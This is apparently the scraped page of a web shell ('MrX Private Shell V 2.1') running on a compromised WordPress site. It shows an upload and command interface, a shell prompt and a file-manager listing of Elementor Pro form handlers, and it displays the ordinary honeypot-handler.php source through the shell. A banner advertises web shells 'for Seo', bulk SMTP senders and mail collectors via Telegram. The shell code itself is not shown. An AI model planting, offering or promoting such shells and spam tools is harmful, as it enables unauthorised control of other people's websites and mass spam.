__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace ElementorPro\Modules\Forms\Classes;

use Elementor\Widget_Base;
use ElementorPro\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Honeypot field
 */
class Honeypot_Handler {

	public function add_field_type( $field_types ) {
		$field_types['honeypot'] = esc_html__( 'Honeypot', 'elementor-pro' );

		return $field_types;
	}

	public function hide_label( $item, $item_index, $widget ) {
		if ( 'honeypot' === $item['field_type'] ) {
			$widget->set_render_attribute( 'field-group' . $item_index, 'class', 'elementor-field-type-text' );
			$item['field_label'] = false;
		}

		return $item;
	}

	/**
	 * @param string      $item
	 * @param integer     $item_index
	 * @param Widget_Base $widget
	 */
	public function render_field( $item, $item_index, $widget ) {
		$widget->set_render_attribute( 'input' . $item_index, 'type', 'text' );
		$widget->add_render_attribute( 'input' . $item_index, 'style', 'display:none !important;' );

		echo '<input size="1" ';
		$widget->print_render_attribute_string( 'input' . $item_index );
		echo '>';
	}

	/**
	 * @param Form_Record  $record
	 * @param Ajax_Handler $ajax_handler
	 */
	public function validation( $record, $ajax_handler ) {
		$fields = $record->get_field( [
			'type' => 'honeypot',
		] );

		if ( empty( $fields ) ) {
			return;
		}

		foreach ( $fields as $field ) {
			if ( ! empty( $field['value'] ) ) {
				$ajax_handler->add_error( 'invalid_form', esc_html__( 'Invalid Form.', 'elementor-pro' ) );
			} else {
				// If success - remove the field form list (don't send it in emails and etc )
				$record->remove_field( $field['id'] );
			}
		}

	}

	public function update_controls( Widget_Base $widget ) {
		$elementor = Plugin::elementor();

		$control_data = $elementor->controls_manager->get_control_from_stack( $widget->get_unique_name(), 'form_fields' );

		if ( is_wp_error( $control_data ) ) {
			return;
		}

		foreach ( $control_data['fields'] as $index => $field ) {
			if ( 'required' === $field['name'] || 'width' === $field['name'] ) {
				$control_data['fields'][ $index ]['conditions']['terms'][] = [
					'name' => 'field_type',
					'operator' => '!in',
					'value' => [
						'honeypot',
					],
				];
			}
		}

		$widget->update_control( 'form_fields', $control_data );
	}

	public function __construct() {
		add_filter( 'elementor_pro/forms/field_types', [ $this, 'add_field_type' ] );
		add_action( 'elementor_pro/forms/render/item', [ $this, 'hide_label' ], 10, 3 );
		add_action( 'elementor_pro/forms/render_field/honeypot', [ $this, 'render_field' ], 10, 3 );
		add_action( 'elementor_pro/forms/validation', [ $this, 'validation' ], 10, 2 );
		add_action( 'elementor/element/form/section_form_fields/before_section_end', [ $this, 'update_controls' ] );
	}
}

Filemanager

Name Type Size Permission Actions
action-base.php File 812 B 0664
activecampaign-handler.php File 3.07 KB 0664
ajax-handler.php File 8.97 KB 0664
akismet.php File 5.4 KB 0664
convertkit-handler.php File 2.61 KB 0664
drip-handler.php File 2.01 KB 0664
form-base.php File 8.11 KB 0664
form-record.php File 9.56 KB 0664
getresponse-handler.php File 3.03 KB 0664
honeypot-handler.php File 2.73 KB 0664
integration-base.php File 2.36 KB 0664
mailchimp-handler.php File 4.33 KB 0664
mailerlite-handler.php File 2.56 KB 0664
recaptcha-handler.php File 8.79 KB 0664
recaptcha-v3-handler.php File 4.55 KB 0664
rest-client.php File 4.34 KB 0664
Filemanager